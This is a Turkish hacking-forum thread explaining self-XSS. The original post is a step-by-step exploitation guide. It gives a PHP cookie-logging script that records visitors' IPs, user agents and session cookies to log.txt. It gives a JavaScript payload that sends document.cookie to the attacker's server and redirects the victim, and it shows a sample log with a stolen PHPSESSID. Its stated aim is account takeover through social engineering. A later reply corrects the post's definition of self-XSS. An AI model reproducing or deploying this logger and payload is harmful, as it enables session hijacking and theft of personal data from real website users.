Self - Xss Nedir ?

Yagami Light0

Katılımcı Üye
5 May 2023
748
5
353
24
Self-Xss Nedir ?
Self-XSS, kullanıcıların kendi browserlerinde zarar verici kodları çalıştırmalarına neden olan bir güvenlik zafiyetidir. Genellikle sosyal mühendislik taktikleri kullanılarak kullanıcıların kandırılmasına neden olur .
Nasıl Tespit Edilir?
Örnek Payload Listesi :
Github
Bu payloadları Userden input alınan kısımlarda deneye bilirsiniz . (yorum,contact,search vb.) Egerki alert alırsanız xss vardir .
Xss var olan test sitesi(payloadları deneyip göre bileceğiniz): site
Önemi Varmı ?
Çoğu arkadaş self-xss önemsiz diye düşünür ancak saldırı zamanı bir kullanıcının hesabını ele geçirmek veya kişisel bilgilerini çalmak için kullanılabilir. Saldırganlar, bu bilgileri kötüye kullanabilir ve ayrıca kullanıcıların itibarını ve güvenilirliğini zedeleyebilir. Yani önemli bir zafiyyetdir .
Nasıl Sömürülür ?

Self-xss de sömürme işlemleri sosyal muhendislikle alakalıdır . Sosyal muhendislik sayesinde hedefin cookie bilgisi çalınır sonuç olarak account takeoverle sonlana bilir .
# Sömürme #
Öncelikle bir sunucuda bir hesap edinmeniz ve log.txt ve test.php olmak üzere iki dosya oluşturmanız gerekir. log.txt dosyasını boş bırakabilirsiniz. Bu, cookielerin yazılacağı dosyadır. Şimdi bu php kodunu test.php içine yazınız :


<?php

function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}

function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();

$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");

if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}

logData();

?>

test.php içine bu kodumuzu yazdık . Bizim yapacağımız hikaye tam olarak şöyleki , self-xss zafiyyetli site uzerinden hedefin cookielerini çalacağız ve kendi sahte sitemizde log.txt içince yazacağız . Hedef sitedeki az önce yukarıdakı payloadlar yerine bunu yazıyoruz :

<script language= "JavaScript">document.location="BizImsite.com is for sale | HugeDomains" + document.cookie;document.location="http://www.boylebirsiteyok.com"</script>


şimdi burda yapdığımız şey şöyle - biz sitede javascript çalıştıra biliyoruz ki bunu <script>alert(1)<script> payloadından aldığımız alertde gördük . E o zaman bizde o javascript kodlarını kullanıcıyı kendi sitemize yönlendirecek şekilde yazarız.
Şimdi daha önceden hazırladığımız log.txt içine bakalım :

IP: 154.147.123.215 | PORT: 56840 | HOST: | Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 | METHOD: | REF: http://www.boylebirsiteyok.com/search.php |

DATE: Tuesday 25st 2023f July 2023 05:04:07 PM | COOKIE: cookie=PHPSESSID=889c6594db2541db1666cefca7537373

Bu işi yapan toolda var : Github Toolu


 

Enistein

Kıdemli Üye
16 Eyl 2012
2,234
35
1,273
Amsterdam
Içerik için eline sağlık. Fakat bazı yanlış anlatımlar olduğunu düşünüyorum. Self-xss adı üzerinde sadece kendi tarayıcında çalıştırabildiğin, ilgili url'yi başka birisine attığında çalışmayan yapılara verilir. Bundan dolayı doğrudan search,yorum yapma, vb. gibi yapılarda bulunmaz. Eğer self xss olarak bulunuyorsa da post metodu, header injection vb. gibi durumlarda çalışır. search parametresine verdiğiniz payload url'de gözüküyor ve müdahale edebiliyorsanız bu reflected xss dir. Yorum yaptığınız sürece o sayfaya giren herkes o scripti tarayıcısında çalıştırıyorsa bu stored xss dir. self xss sadece kendinizin görebildiği diğer kullanıcıları etkilemeyen xss zaafiyetidir. Bundan dolayı exploit chaining vb. metodlarla kullanılmadığı sürece büyük etkiler bırakmazlar.
 

Yagami Light0

Katılımcı Üye
5 May 2023
748
5
353
24
Içerik için eline sağlık. Fakat bazı yanlış anlatımlar olduğunu düşünüyorum. Self-xss adı üzerinde sadece kendi tarayıcında çalıştırabildiğin, ilgili url'yi başka birisine attığında çalışmayan yapılara verilir. Bundan dolayı doğrudan search,yorum yapma, vb. gibi yapılarda bulunmaz. Eğer self xss olarak bulunuyorsa da post metodu, header injection vb. gibi durumlarda çalışır. search parametresine verdiğiniz payload url'de gözüküyor ve müdahale edebiliyorsanız bu reflected xss dir. Yorum yaptığınız sürece o sayfaya giren herkes o scripti tarayıcısında çalıştırıyorsa bu stored xss dir. self xss sadece kendinizin görebildiği diğer kullanıcıları etkilemeyen xss zaafiyetidir. Bundan dolayı exploit chaining vb. metodlarla kullanılmadığı sürece büyük etkiler bırakmazlar.
Anladim hocam. Ancak exploit chaining diye bir sey yazmadim ki sosyal muhendislikle somuruluyor yazmisdim .
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.